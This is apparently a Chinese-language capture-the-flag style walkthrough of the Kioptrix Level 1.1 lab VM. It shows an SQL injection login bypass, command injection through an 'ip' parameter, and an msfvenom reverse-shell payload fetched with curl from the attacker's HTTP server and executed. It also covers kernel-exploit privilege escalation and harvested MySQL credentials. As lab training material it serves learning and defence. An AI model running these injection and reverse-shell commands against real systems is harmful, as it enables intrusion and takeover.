簡介
https://www.vulnhub.com/entry/kioptrix-level-11-2,23/
總結:
- Internet Printing Protocol (IPP) 協定:列印機
- openssh 常見漏洞:ssh-audit 的security 資訊一欄中,指出了可能存在的漏洞。
- 某些 exp 利用問題:一些老python exp ,可能會出現版本不相容問題,下面是降低模闆版本的方法。
python2 -m pip install paramiko==1.15.2
-
# 可以看目前可執行的所有檔案(判斷依據為其它使用者可執行) for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -perm -001 2>/dev/null; done # 可以得到 suid 權限的指令 for x in `find / -perm -4000 2>/dev/null`;do printf "`basename $x`,";done
- 當可能 exp 太多,嘗試縮小範圍,搜尋。搜尋更精确 的 系統核心資訊。
服務掃描

服務漏洞驗證
ssh
除了可能的使用者名枚舉外,沒有顯然的漏洞。
rpcbind
nmap -sSUC -p111 192.168.10.1
沒有值得注意的服務
ipp
7550 可能用作本地提權
mysql
進行探測,結果禁止遠端主機連接配接。
web 滲透
在進行下一步之前,先用 dirsearch 在背景跑檔案目錄。跑完後沒有發現什麼别的網頁。
進入網頁,看到登入框,應該能想到 sql 注入 和 弱憑證爆破。
sql 先簡單手動嘗試幾下,發現直接就是成功進入系統
asd' or 1 -- #
。如果手動檢測不到,也可以直接 sqlmap
進入成功後發現是具有 ping 功能,應該猜想到可能有 指令注入。
嘗試常見的閉合方式,沒總結,就直接上工具 coomix
将請求用 burp 捕捉并儲存到檔案 zzz,然後直接
python2 commix.py -r zzz -p ip
原來直接不需要閉合。。。ip 參數poc 為
127.0.1.1;whoami
既然可以指令執行,那麼就開始上傳shell。
msfvenom 生成 shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.200.128 -f elf -o shell
這裡簡單起見,直接通過 python http.server 子產品将 shell 上傳到目标主機
python3 -m http.server -b 192.168.200.128 9999
# 靶場下載下傳 shell
127.0.1.1;curl http://192.168.200.128:9999/shell -o /tmp/shell
# 本地 msf 進行監聽
# 靶場執行 shell
127.0.1.1;chmod u+x /tmp/shell;/tmp/shell
# 靶場為了使 shell 背景執行,
127.0.1.1;chmod u+x /tmp/shell;(/tmp/shell &)
成功反彈 shell
提權
上傳 linpeas ,嘗試提權。在目标機器上嘗試運作,得到以下資訊。
系統資訊
值得注意的是 linux 核心版本,及 sudo 版本,及 PATH 環境變量。
核心漏洞
嘗試 9542 進行提權,發現提權成功。
以下是通過其它方面提權的嘗試,都沒有成功。。
sudo 版本
版本不符合
PATH 環境變量
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/system/bin:/system/sbin:/system/xbin
看環境變量中有無權限奇怪的檔案
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -perm -001 2>/dev/null; done # 可以看目前可執行的所有檔案(其它使用者可執行)
使用者資訊
額外的兩個使用者
安裝軟體資訊
mysql 沒有存在可用漏洞,而 apache 有一個 dos 漏洞
這兩個通路了下其實都沒有什麼。
有趣的檔案
在 gtfbins 搜尋這個檔案,可以看到它可以執行任意的指令。
以上這些标紅的都是存在提權漏洞的程式。直接在 exploitdb 上進行搜尋。
有的可能找不到,或不符合。 例如 passwd
敏感資訊
root 使用者有郵件資訊,但我們沒有讀取的權限
資料庫敏感資訊
由于剛才web 端登入功能是通過查詢資料庫實作的,是以問我們在腳本檔案中很可能找到mysql 的密碼。經過檢視,在 index.php 中發現 mysql 使用者名與密碼。
# index.php
mysql_connect("localhost", "john", "hiroshima") or die(mysql_error());
看下mysql 使用者是否以高權限運作?結果是以 mysql 使用者運作。。
登入進去,看是否有敏感資訊。
mysql.user 可以看到 資料庫 所有使用者密碼相同。
webapp.users 可以看到所有 web使用者。
将這個密碼嘗試 sudo、發現都不符合。
harold
john
嘗試将這兩個密碼用作ssh,結果都失敗。